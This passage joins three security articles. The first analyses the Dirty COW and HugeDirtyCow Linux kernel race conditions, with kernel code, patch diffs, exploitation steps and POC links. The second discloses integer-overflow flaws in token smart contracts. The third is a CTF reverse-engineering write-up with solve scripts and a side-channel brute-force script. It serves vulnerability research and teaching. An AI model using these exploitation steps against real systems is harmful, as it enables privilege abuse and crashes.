struct vm_area_struct **vmas, int *nonblocking)
{
/* ... snip ... */
do {
/* ... snip ... */
retry:
cond_resched(); /* please rescheule me!!! */
page = follow_page_mask(vma, start, foll_flags, &page_mask);
if (!page) {
int ret;
ret = faultin_page(tsk, vma, start, &foll_flags,
nonblocking);
switch (ret) {
case 0:
goto retry;
case -EFAULT:
case -ENOMEM:
case -EHWPOISON:
return i ? i : ret;
case -EBUSY:
return i;
case -ENOENT:
goto next_page;
}
BUG();
}
if (pages) {
pages[i] = page;
flush_anon_page(vma, page, start);
flush_dcache_page(page);
page_mask = 0;
}
/* ... snip ... */
}
/* ... snip ... */
}
其中重要的数据结构说明如下：
* con_resched函数作用是主动放权，等待下一次被调度。
* follow_page_mask函数的作用是查询页表获取虚拟地址对应的物理页，它将按照linux页表的四级结构(如图1)所示依次向下调用四层函数(follow_page_mask/follow_p4d_mask/follow_pud_mask/follow_pmd_mask/follow_page_pte)进行解析，特别需要注意是：(a)页表中不存在物理页即缺页，(b)访问语义标志foll_flags对应的权限违反内存页的权限时，follow_page_mask返回值为NULL，会触发对faultin_page的调用。
图2.1
* faultin_page函数的作用是处理页故障(page fault)，分析它的函数体会发现，实际上是调用handle_mm_fault按照foll_flags进行处理。(a)当发生缺页时，它会从磁盘中调入页面，(b)当想要以只读权限获取可写页面时，会发生COW，即复制原来只读(read_only)内存页，并将新的内存页标记为只读(read_only)，私有(private)和脏的(dirty)，整个过程如框2所示：
**框2.2 page_fault** **处理COW** **结构：**
faultin_page
handle_mm_fault
__handle_mm_fault
handle_pte_fault
FAULT_FLAG_WRITE && !pte_write
do_wp_page
PageAnon() <- this is CoWed page already
reuse_swap_page <- page is exclusively ours
wp_page_reuse
maybe_mkwrite <- dirty but RO again
ret = VM_FAULT_WRITE
* 访问语义foll_flags的几个主要相关标志说明：
* FOLL_WRITE:请求可写pte(页表项)。
* FOLL_FORCE:请求读写权限的pte(页表项)。
**框2.3：faultin_page:**
static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
unsigned long address, unsigned int *flags, int *nonblocking)
{
struct mm_struct *mm = vma->vm_mm;
unsigned int fault_flags = 0;
int ret;
/* mlock all present pages, but do not fault in new pages */
if ((*flags & (FOLL_POPULATE | FOLL_MLOCK)) == FOLL_MLOCK)
return -ENOENT;
/* For mm_populate(), just skip the stack guard page. */
if ((*flags & FOLL_POPULATE) &&
(stack_guard_page_start(vma, address) ||
stack_guard_page_end(vma, address + PAGE_SIZE)))
return -ENOENT;
if (*flags & FOLL_WRITE)
fault_flags |= FAULT_FLAG_WRITE;
if (*flags & FOLL_REMOTE)
fault_flags |= FAULT_FLAG_REMOTE;
if (nonblocking)
fault_flags |= FAULT_FLAG_ALLOW_RETRY;
if (*flags & FOLL_NOWAIT)
fault_flags |= FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_RETRY_NOWAIT;
if (*flags & FOLL_TRIED) {
VM_WARN_ON_ONCE(fault_flags & FAULT_FLAG_ALLOW_RETRY);
fault_flags |= FAULT_FLAG_TRIED;
}
ret = handle_mm_fault(mm, vma, address, fault_flags);
if (ret & VM_FAULT_ERROR) {
if (ret & VM_FAULT_OOM)
return -ENOMEM;
if (ret & (VM_FAULT_HWPOISON | VM_FAULT_HWPOISON_LARGE))
return *flags & FOLL_HWPOISON ? -EHWPOISON : -EFAULT;
if (ret & (VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV))
return -EFAULT;
BUG();
}
if (tsk) {
if (ret & VM_FAULT_MAJOR)
tsk->maj_flt++;
else
tsk->min_flt++;
}
if (ret & VM_FAULT_RETRY) {
if (nonblocking)
*nonblocking = 0;
return -EBUSY;
}
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;
return 0;
}
其中handle_mm_fault的返回值ret代表了具体的处理情形，VM_FAULT_WRITE表示发生了COW，标红的为漏洞相关代码。
## 2.2 COW正常流程
(a)调用follow_page_mask请求获取可写(FOLL_WRITE)内存页，发生缺页中断，返回值为NULL，调用faultin_page从磁盘中调入内存页，返回值为0。
(b)随着goto
entry再次调用follow_page_mask，请求可写(FOLL_WRITE)内存页，由于内存页没有可写权限，返回值为NULL，调用fault_page复制只读内存页并去掉FOLL_WRITE标志(框2.3红色代码)，返回值为0。
(c)随着goto entry再次调用follow_page_mask，请求获取虚拟地址对应内存页(无FOLL_WRITE)，返回page。
## 2.3 竞争条件引发的漏洞异常流程
(a)调用follow_page_mask请求获取可写(FOLL_WRITE)内存页，发生缺页中断，返回值为NULL，调用faultin_page从磁盘中调入内存页，返回值为0。
(b)随着goto
entry再次调用follow_page_mask，请求可写(FOLL_WRITE)内存页，由于内存页没有可写权限，返回值为NULL，调用fault_page复制只读内存页并去掉FOLL_WRITE标志(框2.3红色代码)，返回值为0。
**_(a)(b)_ _与正常流程一致_**
(c)随着goto entry
再次调用follow由于cond_resched会主动放权，引起系统调度其他程序，另一个程序使用madvise(MADV_DONTNEED)换出内存页。
**_madvise_ _的作用是给系统对于内存的使用一些建议，MADV_DONTNEED告诉系统换出对应内存页。_**
(d)程序再次被调度执行，调用follow_page_mask请求获取可写(FOLL_WRITE)内存页，发生缺页中断，返回值为NULL，调用faultin_page从磁盘中调入内存页，返回值为0。
(e)随着goto entry再次调用follow_page_mask，请求获取虚拟地址对应内存页(无FOLL_WRITE)，返回page。
(f)后续进行写入操作，当内存数据同步到磁盘时，只读文件被改写( **触发漏洞** )。
## 2.4 POC描述
**** POC链接如下：
[**https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c**](https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c)
主体思路为：
(a)启动procselfmemThread线程负责写入数据。
(b)启动madviseThread线程负责利用madvise换出内存页。
主要流程如图2.2所示：
图2.2
## 2.5 补丁分析
**** 修补代码如框2.4所示，该补丁增加了 **FOLL_COW**
去表示COW访问语义，以此来替代移去FOLL_WRITE。增加follow_pfn_pte检测是否请求可写页面/是否发生了COW/是否虚拟内存页项被标记为脏的来判断内存页是否可写。
**如框2.4:修补代码:**
diff --git a/include/linux/mm.h b/include/linux/mm.h
index e9caec6..ed85879 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -2232,6 +2232,7 @@ static inline struct page *follow_page(struct vm_area_struct *vma,
#define FOLL_TRIED 0x800 /* a retry, previous pass started an IO */
#define FOLL_MLOCK 0x1000 /* lock present pages */
#define FOLL_REMOTE 0x2000 /* we are working on non-current tsk/mm */
+#define FOLL_COW 0x4000 /* internal GUP flag */
typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr,
void *data);
diff --git a/mm/gup.c b/mm/gup.c
index 96b2b2f..22cc22e 100644
--- a/mm/gup.c
+++ b/mm/gup.c
@@ -60,6 +60,16 @@ static int follow_pfn_pte(struct vm_area_struct *vma, unsigned long address, return -EEXIST;
}
+/*
+ * FOLL_FORCE can write to even unwritable pte's, but only
+ * after we've gone through a COW cycle and they are dirty.
+ */
+static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)
+{
+ return pte_write(pte) ||
+ ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
+}
+ static struct page *follow_page_pte(struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd, unsigned int flags)
{@@ -95,7 +105,7 @@ retry: }
if ((flags & FOLL_NUMA) && pte_protnone(pte))
goto no_page;
- if ((flags & FOLL_WRITE) && !pte_write(pte)) {
+ if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) { pte_unmap_unlock(ptep, ptl);
return NULL;
}@@ -412,7 +422,7 @@ static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma, * reCOWed by userspace write).
*/
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
- *flags &= ~FOLL_WRITE;
+ *flags |= FOLL_COW;
return 0;
}
## 3\. HugeDirtyCow(CVE-2017-1000405)
### 3.1 相关基础知识补充
#### 3.1.1 透明大内存页(THP:Transparent Huge Pages)
通常linux的内存页为4kb大小，为了满足系统和程序的特殊需求，linux允许2M和1G大内存页。常规的虚拟地址翻译如图3.1所示，PGD，PMD均作为页表目录，当启用大内存页时，PMD不再表示页表目录而是和PTE合并共同代表页表项(PTE)。
图3.1
THP内存页主要被用于匿名anonymous,shmem,tmpfs三种内存映射，即：
* anonymous:通过mmap映射到内存是一个匿名文件及不对应任何实际磁盘文件。
* shmem:共享内存。
* tmpfs:是一种虚拟文件系统，存在于内存，因此访问速度会很快，当使用tmpfs类型挂载文件系统释放，它会自动创建。。
THP内存页查看：
cat sudo tee /sys/kernel/mm/transparent_hugepage/enabled
若显示alwasy则表示已开启，否则使用如下命令开启：
echo always > /sys/kernel/mm/transparent_hugepage/enabled
#### 3.1.2 零页(zero page)
当程序申请匿名内存页时，linux系统为了节省时间和空间并不会真的申请一块物理内存，而是将所有申请统一映射到一块预先申请好值为零的物理内存页，当程序发生写入操作时，才会真正申请内存页，这一块预先申请好值为零的页即为零页(zero
page)，且零页是 **只读的** 。
* **零页攻击面**
由于零页是只读的，如果共享零页的进程A非法写入了特定的值，其他共享零页的进程例如B读入被A篡改的零页的值，那么后续以此为基础的访存等操作就会发生异常，造成进程B
crash，形成漏洞。
### 3.2 CVE-2016-5195修补不完整阐述
对于CVE-2016-5195对于THP内存页修补如下：
**框3.1 修补代码：**
@@ -783,6 +783,12 @@ struct page *follow_devmap_pmd(struct vm_area_struct *vma, unsigned long addr,
assert_spin_locked(pmd_lockptr(mm, pmd));
+ /*
+ * When we COW a devmap PMD entry, we split it into PTEs, so we should
+ * not be in this function with `flags & FOLL_COW` set.
+ */
+ WARN_ONCE(flags & FOLL_COW, "mm: In follow_devmap_pmd with FOLL_COW set");
+
if (flags & FOLL_WRITE && !pmd_write(*pmd))
return NULL;
@@ -1128,6 +1134,16 @@ int do_huge_pmd_wp_page(struct vm_fault *vmf, pmd_t orig_pmd)
return ret;
}
+/*
+ * FOLL_FORCE can write to even unwritable pmd's, but only
+ * after we've gone through a COW cycle and they are dirty.
+ */
+static inline bool can_follow_write_pmd(pmd_t pmd, unsigned int flags)
+{
+ return pmd_write(pmd) ||
+ ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pmd_dirty(pmd));
+}
+
struct page *follow_trans_huge_pmd(struct vm_area_struct *vma,
unsigned long addr,
pmd_t *pmd,
@@ -1138,7 +1154,7 @@ struct page *follow_trans_huge_pmd(struct vm_area_struct *vma,
assert_spin_locked(pmd_lockptr(mm, pmd));
- if (flags & FOLL_WRITE && !pmd_write(*pmd))
+ if (flags & FOLL_WRITE && !can_follow_write_pmd(*pmd, flags))
goto out;
从框3.1的修补代码可以看出，THP内存页修补和普通内存页的修补操作基本一致，但是对于有一点疏忽的是：对于大内存页来说，不经历COW也可以将内存页标记为脏的。
每次调用内核函数get_user_pages获取可读THP内存页时即会调用follow_page_mask,而follow_page_mask会调用touch_pmd，调用路径为：
[follow_page_mask](http://elixir.free-electrons.com/linux/v4.8/ident/follow_page_mask)/follow_trans_huge_pmd/touch_pmd
touch_pmd代码如框3.2所示，可以直观地看到标红的代码直接将内存页标记为脏的。
**框3.2:touch_pmd**
static void touch_pmd(struct vm_area_struct *vma, unsigned long addr,
pmd_t *pmd)
{
pmd_t _pmd;
/*
* We should set the dirty bit only for FOLL_WRITE but for now
* the dirty bit in the pmd is meaningless. And if the dirty
* bit will become meaningful and we'll only set it with
* FOLL_WRITE, an atomic set_bit will be required on the pmd to
* set the young bit, instead of the current set_pmd_at.
*/
_pmd = pmd_mkyoung(pmd_mkdirty(*pmd));
if (pmdp_set_access_flags(vma, addr & HPAGE_PMD_MASK,
pmd, _pmd, 1))
update_mmu_cache_pmd(vma, addr, pmd);
}
### 3.2 漏洞流程描述如下：
(a)调用follow_page_mask请求获取可写(FOLL_WRITE)THP内存页，发生缺页中断，返回值为NULL，调用faultin_page从磁盘中调入内存页，返回值为0。
(b)随着goto
entry再次调用follow_page_mask，请求可写(FOLL_WRITE)内存页，由于内存页没有可写权限，返回值为NULL，调用fault_page复制只读内存页获得
**FOLL_COW** 标志，返回值为0。
(c)随着goto entry
再次调用follow由于cond_resched会主动放权，引起系统调度其他程序，另一个程序B使用madvise(MADV_DONTNEED)换出内存页，同时程序B读内存页，那么则会最终调用touch_pmd，将内存页标记为
**脏的** 。
(d)程序再次被调度执行，调用follow_page_mask请求获取可写(FOLL_WRITE)内存页，此时满足FOLL_COW和脏的，因此程序获得可写内存页。
(f)后续进行写入操作，只要设置合理THP内存页可以写前面提到的零页（zero
pages）,其他共享零页的进程读取修改后的零页数据进行相关操作就会发生crash， **触发漏洞** 。
### **3.3 POC** **描述：**
POC链接如下：
[**https://github.com/bindecy/HugeDirtyCowPOC**](https://github.com/bindecy/HugeDirtyCowPOC)
主体思路为：
(a)启动write_thread线程负责写入数据。
(b)启动unmap_and_read_thread线程负责利用madvise换出内存页，并且读内存页，以此将内存页标记为脏的。
(c)wait_for_success检查只读零页是否修改成功。
另外POC为了提高速度开了很多线程进行操作。
### **3.4** **测试环境：**
Vmware 12.5.2
操作系统ubuntu16.04
内存：3G
处理器：4核
### **3.5 POC** **说明：**
(a)按照前面提到的方法开启THP内存页。
(b)以-pthead编译poc。
(c)poc运行显示成功后，只是表示修改零页成功，需要运行其他应用程序，当其他应用程序读取零页，进行非法操作时即可触发crash，引爆漏洞。
(d)由于浏览器操作指令复杂，我们选取firefox进行测试，不到一会儿，漏洞来了。。。
### **3.6** **演示截图：**
## 4\. 后记
该补丁是linux的创始人linus亲自打上的，这样的天才对自己的“亲儿子”修补都会犯错，何况是一般的程序员写的程序，打的补丁，总结来看漏洞挖掘任重而道远。补丁分析作为这其中的葵花宝典大放异彩，相关技术值得重视和深思。 | 社区文章 |
原文来自安全客，作者：清华-360企业安全联合研究中心
原文链接：<https://www.anquanke.com/post/id/147913>
从2016年The DAO被盗取6000万美元开始 ，到美链BEC价值归零 、BAI和EDU任意账户转帐
，再到最近EOS漏洞允许恶意合约穿透虚拟机危害矿工节点
，“智能合约”俨然成为区块链安全重灾区。“清华-360企业安全联合研究中心”团队在区块链安全方面进行了持续研究，开发了自动化漏洞扫描工具，近期发现了多个新型整数溢出漏洞，可造成超额铸币、超额购币、随意铸币、高卖低收、下溢增持等严重危害。
#### 1.背景
智能合约作为区块链2.0的代表技术，适应于区块链去中心化、分布式的特点，
具有独立运行、不可篡改的优良特性，可用于实现包含金融工具在内的各类分布式应用。开发者可以自行定义交易逻辑并开发代码发布到链上，合约代码在矿工节点的虚拟机环境（如EVM）中执行。合约交易被打包进区块后，链上节点执行相同代码，从而同步改变链上数据状态。故合约的多方参与者无需建立信任，也无法相互欺骗。
与传统程序一样，智能合约无法避免地存在安全漏洞。而与传统程序不一样的是，合约运行在开放的区块链网络当中，可以被任意调用，而且合约的执行具有“不可更改”的效果，导致合约的漏洞被利用之后危害更大
。前面提到的BEC等合约中存在的整数溢出漏洞便是一个典型的例子，攻击者对漏洞的利用造成了数额惊人的损失。
整数溢出是一种常见的高危漏洞，曾引发许多严重事故。1996年阿丽亚娜5型运载火箭在发射37秒后解体并爆炸就是由于整数溢造成的
。整数溢出的原理是：计算机中整数变量有上下界，如果在算术运算中出现越界，即超出整数类型的最大表示范围，数字便会如表盘上的时针从12到1一般，由一个极大值变为一个极小值或直接归零。此类越界的情形在传统的软件程序中很常见，但是否存在安全隐患取决于程序上下文，部分溢出是良性的（如tcp序号等），甚至是故意引入的（例如用作hash运算等）。整数溢出漏洞检测和校验是有挑战性的，程序员极容易犯错，而自动化检测方法最大难点在于判断候选溢出是否真正导致了危害，以免造成大量的误报。
#### 2.自动化挖掘
“清华-360企业安全联合研究中心”
ChainTrust团队成员充分利用多年软件漏洞挖掘的经验，针对智能合约开发了自动化检测工具，可以高效挖掘高危整数溢出漏洞。检测工具通过准确构建整数溢出点的上下文语义，采用符号执行和污点分析等技术，有效区分了无害溢出和有害溢出，能够显著降低漏洞的误报率和漏报率。
截止目前，团队针对Etherscan上排名前470位的代币合约进行了检测，除去未提供源码、没有完整爬取源码或耗时过长的合约，最终完整分析了390份合约。在这些被分析的合约中，团队总共发现25个智能合约存在整数溢出安全问题，申请获得了5个CVE编号，主要包含下述6类新型危害。
团队成员在“全球EOS开发者大会”上对部分漏洞进行了首次披露。本报告将对漏洞情况进行详细披露，旨在推进社区的安全健康发展。
#### 3.新型漏洞详情
##### 3.1.underSell: 高卖低收(CVE-2018-11811)
管理员通过修改合约中的参数来制造溢出漏洞，导致用户提币转出token之后，却收不到ETH（或收到极少量ETH），造成用户经济损失。
漏洞实例：合约Internet Node Token (INT)
漏洞所在位置：红色标注的行L175
漏洞攻击效果：用户提币之后，无法得到对应数额的ETH；
漏洞原理：sellPrice被修改为精心构造的大数后，可导致amount
sellPrice的结果大于整数变量(uint256)最大值，发生整数溢出，从而变为一个极小值甚至归零。该值在程序语义中是用于计算用户提币应得的ETH数量，并在L175进行了校验，但该值被溢出变为极小值之后可以逃逸L175的校验，并导致用户售出token后只能拿到少量的（甚至没有）ETH。
##### 3.2.ownerUnderflow: 下溢增持(CVE-2018-11687)
管理员在特定条件下，通过调用合约中有漏洞的发币函数制造下溢，从而实现对自身账户余额的任意增加。
漏洞实例：合约Bitcoin Red（BTCR）
漏洞所在位置：红色标注的行L41
漏洞攻击效果：管理员执行了一个正常向某个地址进行发币的操作，实际已经暗中将自身账户的余额修改为了一个极大的数；
漏洞原理：distributeBTR()函数的本意是管理员给指定地址发放一定数额的token，并从自身账户减少对应的token数量。减少管理员账户余额的操作为balances[owner]
-= 2000 108 ，运算的结果将被存到balances[owner]中，是一个无符号整数类型。当管理员余额本身少于2000 *
108时，减法计算结果为负值，解释为无符号整数即一个极大值。
##### 3.3.mintAny: 随意铸币 (CVE-2018-11812)
管理员调用铸币函数给某个地址增加token时，利用溢出漏洞可以突破该函数只能增加token的限制，实际减少该地址的token数量，从而实现对任一账户余额的任意篡改（增加或减少）。在我们的检测中，有多达18个合约存在类似安全问题。
漏洞实例：合约PolyAi (AI)
漏洞所在位置：红色标注的行L132
漏洞攻击效果：管理员可以绕过合约限制，任意篡改所有地址的token余额；
漏洞原理：攻击者通过构造一个极大的mintedAmount，使得balanceOf[target] +
mintedAmount发生整数溢出，计算结果变为一个极小值。
##### 3.4. overMint: 超额铸币(CVE-2018-11809)
管理员通过构造恶意参数，可以绕过程序中规定的token发行上限，实现超额铸币。合约Playkey
(PKT)存在此类漏洞，导致合约中的铸币上限形同虚设，从而发行任意多的token。此外，我们还发现Nexxus (NXX)、Fujinto
(NTO)两个合约存在类似漏洞，这两个合约没有铸币上限限制，但同样的手段，可以溢出合约中一个用于记录已发币总量(totalSupply)的变量值，使其与市场中实际流通的总币数不一致。
漏洞实例：合约Playkey (PKT)
漏洞所在位置：红色标注的行L237
漏洞攻击效果：管理员可以篡改已发币总量(totalSupply)为任意值，并绕过合约中的铸币上限超额发行token；
漏洞原理：`_value`在函数调用时被设置为精心构造的极大值，使得`totalSupply +
_value`计算结果溢出后小于tokenLimit，从而轻易绕过L237行的铸币上限检测。
##### 3.5.allocateAny: 超额定向分配(CVE-2018-11810)
管理员通过制造溢出来绕过合约中对单地址发币的最大上限，可以对指定地址分配超额的token，使得对单地址的发布上限无效。
漏洞实例：合约LGO (LGO)
漏洞所在位置：红色标注的行L286
漏洞攻击效果：管理员绕过合约中规定的单地址发币上限，给指定地址分配超额的token；
漏洞原理： 一个极大的`_amount`可以使得算数加法运算holdersAllocatedAmount +
_amount发生整数溢出，变为一个极小值，从而绕过L286的检测。
##### 3.6.overBuy：超额购币（CVE-2018-11809）
买家如果拥有足够多的ETH，可以通过发送大量token制造溢出，从而绕过ICO发币上限，达到超额购币。
漏洞实例：合约EthLend (LEND)
漏洞所在位置：红色标注的行L236
漏洞攻击效果：调用者绕过合约中规定ICO的token容量上限，获得了超额购币；
漏洞原理：一个极大的`_newTokens`可以使得算数加法运算totalSoldTokens +
newTokens发生整数溢出，变为一个极小值，从而绕过L236的检测。
#### 4.漏洞列表
团队采用自动化工具分析了390份ERC20智能合约，除上述已披露的漏洞之外，共发现25个智能合约存在未知的整数溢出漏洞，详细情况如下表所示，出于对相关厂商安全的考虑，隐去了具体的漏洞位置、源代码等技术细节，相关厂商安全人员如有需求，可与研究团队联系（列表最右侧一列的类型编号对应上述分类，每种合约可能同时存在多种类型漏洞）:
#### 5.结论
智能合约之所以“智能”，是由于合约代码一旦上链，其执行效果完全由可见且不可篡改的代码来决定，而不用依赖于对任何参与方的信任。然而，由上述漏洞分析可见，智能合约并没有预期的“智能”，存在相当多的安全风险，尤其是管理员权限下，可能导致诸多严重的安全问题。仅仅通过整数溢出这一常见漏洞类型，管理员便能够任意篡改所有账户余额，恶意超额、甚至无上限铸币，背离合约白皮书的约定，这样的合约无法保证参与多方的公平性，更无谈智能。而管理员利用整数溢出进行作恶早已有先例，2018年2月初，基于以太坊的Monero
Gold(XMRG) Token在交易所的价格先猛涨787%，后迅速暴跌至崩盘，造成大量用户经济损失
，其背后就是管理团队利用预留的整数溢出漏洞进行超额铸币，并在交易所抛售造成恶性通货膨胀，最后价值几乎归零
。在区块链上运行的智能合约，本意是利用区块链不可篡改的特性来构建可信的执行环境，然而安全漏洞的存在就像一个个隐藏的定时炸弹，对智能合约的可信任基础带来了巨大的挑战。
在近一个月之前，团队已经发现上述安全漏洞，在评估了安全威胁之后第一时间反馈给相关厂商，并通知了交易所（如火币网），希望能够帮助厂商和交易所及时修补漏洞和杜绝安全隐患，多家厂商在得到通报后也积极做出了应急响应。
#### 6.关于我们
清华-360企业安全联合研究中心（筹）是清华大学网络研究院和360企业安全集团共同成立的联合研究机构，结合清华大学和360企业安全集团在学术研究和产业服务中的优势，面向世界学术和技术前沿开展研究，服务于国家和社会对网络空间安全的战略需求。研究团队在漏洞挖掘与攻防领域有丰富的经验，团队在国际四大顶级安全会议中发表多篇论文，在世界学术和工业界有广泛的影响力，孕育了“蓝莲花”等国际知名黑客战队。
#### 参考文献
1. Explaining the DAO exploit for beginners in Solidity
2. Building a safer crypto token
3. EDU问题：还原EDU被黑客攻击始末：期货与现货的组合套现
4. BAI 智能合约存在和 EDU 一样的漏洞，可转走任意账户里的 BAI Token
5. EOS Node Remote Code Execution Vulnerability — EOS WASM Contract Function Table Array Out of Bounds
6. 区块链智能合约漏洞，想说补你不容易（干货）
7. 导致惨重代价的Bug
8. Monero Gold – The story and tech specs of a 4 million USD shitcoin scam, brilliantly executed
9. Monero Gold (XMRG) 价格，图表，市值，以及其他计量 | CoinMarketCap
* * *
_本文经安全客授权发布，转载请联系安全客平台。_
* * * | 社区文章 |
# DDCTF2019官方Write Up——Reverse篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
第三届DDCTF高校闯关赛鸣锣开战，DDCTF是滴滴针对国内高校学生举办的网络安全技术竞技赛，由滴滴出行安全产品与技术部顶级安全专家出题，已成功举办两届。在过去两年，共有一万余名高校同学参加了挑战，其中部分优胜选手选择加入滴滴，参与到了解决出行领域安全问题的挑战中。通过这样的比赛，我们希望挖掘并培养更多的国际化创新型网络安全人才，共同守护亿万用户的出行安全。
## Windows Reverse1
通过段名发现是UPX壳，upx -d脱壳后进行分析 核心函数只是通过data数组做一个转置，反求index即可
值得一说的是data的地址与实际数组有一些偏移
由于输入的可见字符最小下标就是空格的0x20，因此data这个地址实际上也是真正的表地址(0xb03018)-0x20=0xb02ff8，在实际反查的时候需要稍作处理
from ida_bytes import get_bytes
data = get_bytes(0xb03018,0xb03078-0xb03018)
r = "DDCTF{reverseME}"
s = ""
for i in range(len(r)):
s += chr(data.index(r[i])+0xb03018-0xb02ff8)
print(s)
## Windows Reverse 2
用PEID查壳发现是aspack壳，直接运行程序，然后用调试器附加上去 通过调用堆栈来追溯到输入函数 具体方法为：
当程序运行到等待输入时，在调试器中按下暂停，然后选择主线程，观察调用堆栈(Stack Trace / Call Stack)窗口
可以看出调用堆栈中存在scanf函数，这是因为接收输入时程序阻塞，必然是在程序调用接收输入的函数过程中阻塞的。而根据栈帧的机制，函数返回值会被存放在各个栈帧中，所以scanf的上一个函数就是用户模块了。
双击即可跟进去，此时看到的是一片数据
这是因为代码由动态解密得到，IDA还没有对他们进行分析。 对着它们按C，即可将其作为Code识别，进行分析了 然后重新看调用堆栈窗口的具体地址即可找到目标
也可以直接在Options-general窗口中找到Reanalyse program按钮进行重新分析
关键函数是sub111f0和sub11240 跟踪数据变化可以直接看出两个函数分别是hexdecode和base64encode 反向计算得到flag
from base64 import b64decode
print(b64decode(b"reverse+").hex().upper())
## Confused
ios程序 Main函数中没有逻辑，所以通过字符串查找”DDCTF”取两次交叉引用，找到ViewController checkCode:函数
前段主要是校验开头结尾的”DDCTF{}”标志，API的各种命名都很清晰，无需多言。关键部分在msgSend“onSuccess”前的最后一个判断函数sub_1000011d0中
第一个调用sub100001f60可以看出来是构造函数，将对象的各个成员进行初始化，并把输入即a2的18个字节拷贝到全局变量中
第二个调用sub100001f00则开始虚拟机的执行循环，初始化IP寄存器后即不断向后执行，直到碰到结尾字节0xf3为止
loop函数内部很清晰，遍历对象的所有opcode与当前IP所指的值相比较，相等时即执行对应函数，函数内部负责后移IP，使VM执行下一条指令
平常做VM可以直接上angr、pintools或者记录运行log来方便地处理，但是本题是mac平台，由于钱包原因就只能乖乖静态逆了
首先整理字节码，位于0x100001984的地方 提出部分以作示例
0xf0, 0x10, 0x66, 0x0, 0x0, 0x0,
0xf8,
0xf2, 0x30,
0xf6, 0xc1,
0xf0, 0x10, 0x63, 0x0, 0x0, 0x0,
0xf8,
0xf2, 0x31,
0xf6, 0xb6,
第一个code是0xf0，对应的handler为sub_100001d70
通过structures结构体功能可以将对象的成员重命名、整理结构成比较易读的形式
具体方法为在Structures窗口中按Insert创建结构体，按D创建成员
最后将a1的类型按y重定义成结构体指针vm*即可
可以看出来f0根据第二个字节来决定将后4个字节的Int存入某个寄存器中，例如0x10表示a 然后是0xf8，对应的handler为sub_100001C60
即对a寄存器的值在字母域内加2，相当于ROT2吧
以此类推，0xf2是判断a寄存器内的值是否和全局变量中以后一个字节为偏移的值相等，实际上也就是刚才memcpy进来的input
0xf6则是根据0xf2判断的结果来决定是否跳转，下同循环
因此整个算法实际上就是逐字符判断定值+2是否与输入相等，只需要将code_array中的定值取出即可 例如一个正则表达式
code="""0xf0, 0x10, ... 略"""
import re
data = re.findall(r"\n?0xf0, \n?0x10, \n?0x(..)", code)
print(data)
for i in data:
v = int(i,16)+2
print(chr(v-26 if (v>ord('Z') and v<ord('a')) or v>ord('z') else v),end='')
## obfuscating macros
本题是一个经过OLLVM混淆的较简单算法的程序
### 基础分析
主函数中通过cin接受输入，传入两个函数中处理后要求皆返回True 两个函数都被OLLVM了
第一个函数通过黑盒可以知道是HexDecode，输出仍保存在原来的位置里，若输入超出数字和大写ABCDEF则Decode失败返回False
第二个函数则是对输入进行了一些比较，输出比较的结果
可供尝试有下列几种方法：
1. 动态调试
2. 符号执行
3. 单字节穷举
### 动态调试
对于被控制流平坦化处理过的程序，执行流完全打散，所以很难知道各个代码块之间的关系，再加上虚假执行流会污染代码块，使得同一个真实块出现多次，难以分辨真实代码
因此在不deflat的情况下最好的办法就是单步执行慢慢跟，等到执行真实代码，尤其是一些运算的时候稍作注意 本题中通过这样的办法发现了这样一处代码
指针++后取值，很符合字符串的逐字符处理逻辑
点进去看一下可以发现正是hexdecode过后的输入，而v26与输入产生了联系，所以我们下一步要跟着v26的数据走
这里判断的v26的值是否为0，等价于cmp data,input; jz xxx; 因此可以知道要求第一个值为79，同理继续往下跟即可获得所有flag
另外快速一点的方法是使用断点脚本，在0x405fc6处下断并设置下述脚本，则会在output窗口打印出所需值
v = GetRegValue("ecx")
SetRegValue(v,"eax")
print("%X"%v)
另外算法实际上也并不复杂，简单来说是通过一个data数组和另一个数组异或产生的数据，前一个数组是逐个赋值的，所以并不好找出顺序来静态解出flag
### 单字节穷举
由于该程序的算法是逐字节校验，并且当某一个值错误时就会退出，因此可以应用pintools类的侧信道攻击
但并不能直接上轮子，因为在check的前面还有一个hexdecode，使得输入必须两个一组，并且由于数字和字母处理逻辑不同所以也会产生执行次数的跃变，要做特殊修正
首先字典调整成[“%02x”%i for i in range(1,0×100]
然后要判断key中存在的字母个数，经测试发现每个字母大概会使运行次数增加1681-1683次，将误差消除后比较即可
大概在一小时左右可以得到flag，效率虽然比较感人，但优势在于期间不用关注该题，只等躺着拿flag就行了233
在之前的轮子上做了微调的脚本如下
#-*- coding:utf-8 -*- import popen2,string
INFILE = "test"
CMD = "/root/pin/pin -t /root/pin/source/tools/ManualExamples/obj-intel64/inscount1.so -- /root/Project/obfuscating_macros.out <" + INFILE
#choices = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&'()*+,-./:;<=>?@[\]^_`{|}~"#自定义爆破字典顺序，将数字和小写字母提前可以使得速度快一些~
choices = ["%02X"%i for i in range(1,0x100)]
def execlCommand(command):
global f
fin,fout = popen2.popen2(command)
result1 = fin.readline()#获取程序自带打印信息，wrong或者correct
print result1
if(result1 != 'wrong answer\n'):#输出Correct时终止循环
f = 0
result2 = fin.readline()#等待子进程结束,结果输出完成
fin.close()
def writefile(data):
fi = open(INFILE,'w')
fi.write(data)
fi.close()
def pad(data, n, padding):
return data + padding * (n - len(data))
flag = ''
f = 1
while(f):
dic = {}
l = 0#初始化计数器
for i in choices:
key = flag + i#测试字符串
print ">",key
writefile(pad(key, 8, '0'))
execlCommand(CMD)
fi = open('./inscount.out', 'r')
# 管道写入较慢，读不到内容时继续尝试读
while(1):
try:
n = int(fi.read().split(' ')[1], 10)
break
except IndexError:
continue
